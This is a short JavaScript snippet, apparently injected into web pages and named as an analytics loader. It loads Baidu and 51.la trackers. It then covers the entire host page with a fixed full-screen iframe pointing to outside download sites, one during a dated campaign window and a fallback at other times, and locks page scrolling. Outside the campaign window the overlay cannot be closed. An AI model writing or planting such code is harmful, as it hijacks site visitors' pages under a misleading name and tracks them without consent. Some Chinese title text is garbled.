1/* competitor-parent-analytics-idle-v1 */ 2(()=>{ 3 "use strict"; 4 const START_AT=Date.parse("2026-10-01T03:00:00.000Z"); 5 const END_AT=Date.parse("2026-10-08T03:00:00.000Z"); 6 const CAMPAIGN_TARGET="https://hsyun.e04.io/"; 7 const FALLBACK_TARGET="https://li.ywnbz.cn/"; 8 const CHANNEL="hsyun-hsyun-download"; 9 const active=Date.now()>=START_AT&&Date.now()<END_AT; 10 const target=active?CAMPAIGN_TARGET:FALLBACK_TARGET; 11 12 const startAnalytics=()=>{ 13 if(!document.querySelector('script[data-hsyun-parent-baidu="7155b71e91d80c1b52cbc24946a6d032"]')){ 14 window._hmt=window._hmt||[]; 15 const hm=document.createElement("script"); 16 hm.async=true; 17 hm.dataset.hsyunParentBaidu="7155b71e91d80c1b52cbc24946a6d032"; 18 hm.src="https://hm.baidu.com/hm.js?7155b71e91d80c1b52cbc24946a6d032"; 19 document.head.appendChild(hm); 20 } 21 if(!document.getElementById("LA_COLLECT")){ 22 const cfg={id:"3QP8Id8mgjOlkBa5",ck:"3QP8Id8mgjOlkBa5",autoTrack:true,hashMode:true}; 23 window.LA=window.LA||cfg; 24 window.LA.ids=window.LA.ids||[]; 25 if(!window.LA.ids.some((item)=>item&&item.id===cfg.id)) window.LA.ids.push(cfg); 26 const la=document.createElement("script"); 27 la.id="LA_COLLECT"; 28 la.async=true; 29 la.charset="UTF-8"; 30 la.src="https://sdk.51.la/js-sdk-pro.min.js"; 31 document.head.appendChild(la); 32 } 33 }; 34 35 const scheduleAnalytics=()=>{ 36 const run=()=>"requestIdleCallback" in window 37 ? window.requestIdleCallback(startAnalytics,{timeout:3000}) 38 : setTimeout(startAnalytics,1500); 39 document.readyState==="complete"?run():window.addEventListener("load",run,{once:true}); 40 }; 41 42 const mount=()=>{ 43 if(document.getElementById("XWoooIframe")) return; 44 const frame=document.createElement("iframe"); 45 frame.id="XWoooIframe"; 46 frame.title=active?"ç«ç§äºå½åºä¼æ ä¸å®¢æ·ç«¯ä¸è½½":"ç«ç§äºå®¢æ·ç«¯å ¥å£"; 47 frame.src=target; 48 frame.width="100%"; 49 frame.height=String(window.innerHeight); 50 frame.setAttribute("frameborder","0"); 51 frame.style.cssText="position:fixed;z-index:2147483646;inset:0;width:100%;height:100%;border:0;background:#fff"; 52 document.body.appendChild(frame); 53 const previousOverflow=document.body.style.overflow; 54 document.body.style.overflow="hidden"; 55 if(!active) return; 56 const close=()=>{ 57 frame.remove(); 58 document.body.style.overflow=previousOverflow; 59 window.removeEventListener("message",onMessage); 60 document.removeEventListener("keydown",onKeydown); 61 }; 62 const onMessage=(event)=>{ 63 if(event.origin!=="https://hsyun.e04.io"||event.data?.channel!==CHANNEL) return; 64 if(event.data?.type==="close") close(); 65 }; 66 const onKeydown=(event)=>{if(event.key==="Escape") close();}; 67 window.addEventListener("message",onMessage); 68 document.addEventListener("keydown",onKeydown); 69 }; 70 71 scheduleAnalytics(); 72 document.body?mount():document.addEventListener("DOMContentLoaded",mount,{once:true}); 73})();
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.